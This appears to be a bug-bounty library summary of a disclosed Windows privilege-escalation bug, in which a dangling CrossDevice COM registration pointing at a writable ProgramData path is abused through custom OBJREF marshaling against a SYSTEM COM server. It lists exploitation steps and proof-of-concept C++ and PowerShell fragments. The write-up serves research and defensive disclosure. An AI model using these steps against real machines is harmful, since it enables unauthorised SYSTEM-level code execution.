# Windows Exploitation Techniques: Dangling COM Object Registrations

Dangling COM registration for CrossDevice CLSID pointed to a writable ProgramData DLL path, enabling SYSTEM privilege escalation via custom OBJREF marshaling to a privileged COM server.

- Payout: Research
- Severity: high
- Program: Microsoft
- Write-up by: James Forshaw
- Disclosed: 2026-09-21
- CVE: CVE-2026-66804
- Write-up quality: 9/10
- Original: https://projectzero.google/2026/09/windows-dangling-com.html
- Library page: https://bugbountylibrary.com/r/blog%3Aprojectzero-google-2026-09-windows-dangling-com-html
- Tags: area:os domain:desktop impact:privesc kind:research platform:research sev:high tech:windows technique:chained technique:recon technique:source-review vuln:misconfiguration vuln:privilege-escalation

**Target:** COM class registration / CrossDevice CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}
**Root cause:** A system-wide in-process COM class was registered pointing to a nonexistent DLL under C:\ProgramData, a directory any user can write to, so an attacker can plant a DLL at that path.
**Steps:**
1. Identify dangling registration: `Get-ComClass -Database $db -ServerType InProcServer32` filtered by `Test-ComServer` failing `Import-Win32Module`, revealing CrossDevice CLSID pointing to `%PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll`
2. Plant malicious DLL at `C:\ProgramData\CrossDevice\CrossDevice.Streaming.Source.dll`
3. Start privileged COM server: create `Global\ShellCreateObjectTaskReadyEvent` with `New-NtEvent`, run scheduled task `\Microsoft\Windows\Shell\CreateObjectTask`, wait on event
4. CoCreateInstance CLSID `135fd325-45b7-4c30-89f8-4386961669f0` (Shell Create Object Handler) running as SYSTEM with CustomMarshalAllowed=True
5. Implement IMarshal::GetUnmarshalClass returning CLSID `{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}`
6. Call ICreateObject method passing fake-marshaled IUnknown as second parameter to trigger unmarshal and DLL load in SYSTEM process
**How found:** Noticed the CrossDevice COM class was registered system-wide but its DLL path was missing and under writable ProgramData; recalled prior custom-marshaling technique and hunted for a SYSTEM COM service with custom marshaling allowed, scanning combase capability flags and testing Shell Create Object Handler.
**Exploitation:** Attacker plants DLL in writable ProgramData path, starts SYSTEM Shell Create Object Handler COM service via scheduled task, then passes a custom-marshaled object whose GetUnmarshalClass returns the dangling CLSID; the SYSTEM process unmarshals it, loads the attacker DLL, and executes code as SYSTEM.
**Escalation:** Chained dangling COM registration with custom OBJREF marshaling abuse against a privileged COM server lacking EOAC_NO_CUSTOM_MARSHAL/COMGLB_UNMARSHALING_POLICY_STRONG mitigations.
**Insight:** Enumerate in-process COM registrations whose DLL fails LoadLibrary and whose path lies in a user-writable directory; then find privileged COM servers that don't set EOAC_NO_CUSTOM_MARSHAL or COMGLB_UNMARSHALING_POLICY_STRONG and pass a fake IMarshal OBJREF to force-load the planted DLL.

## Proof of concept (copied exactly from the original report)

**Fake IMarshal returning dangling CLSID**

```
class FakeMarshal : public IMarshal {
 // Inherited via IMarshal
 HRESULT GetUnmarshalClass(REFIID riid, void* pv, 
 DWORD dwDestContext, void* pvDestContext, 
 DWORD mshlflags, CLSID* pCid) override
 {
 return CLSIDFromString(L"{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}", pCid);
```

**Start SYSTEM COM server via scheduled task**

```
PS> $ev = New-NtEvent -Win32Path "Global\ShellCreateObjectTaskReadyEvent" -InitialState $false
PS> Start-ScheduledTask -TaskPath "\Microsoft\Windows\Shell\" -TaskName "CreateObjectTask"
PS> $ev.Wait()
PS> $o = New-ComObject -Clsid "135fd325-45b7-4c30-89f8-4386961669f0"
```

**Script to find dangling COM servers**

```
function Test-ComServer {
 param($Server)
 try {
 Use-NtObject($lib = Import-Win32Module -Path $Server -Flags AsDataFile) {
 $true
 }
 } catch {
 $false
 }
}

PS> $db = Get-ComDatabase -LoadMode MachineOnly
PS> $cs = Get-ComClass -Database $db -ServerType InProcServer32
PS> $cs | ? { -not (Test-ComServer $_.DefaultServer) } | 
 Sort DefaultServer | Select Name, DefaultServer
```

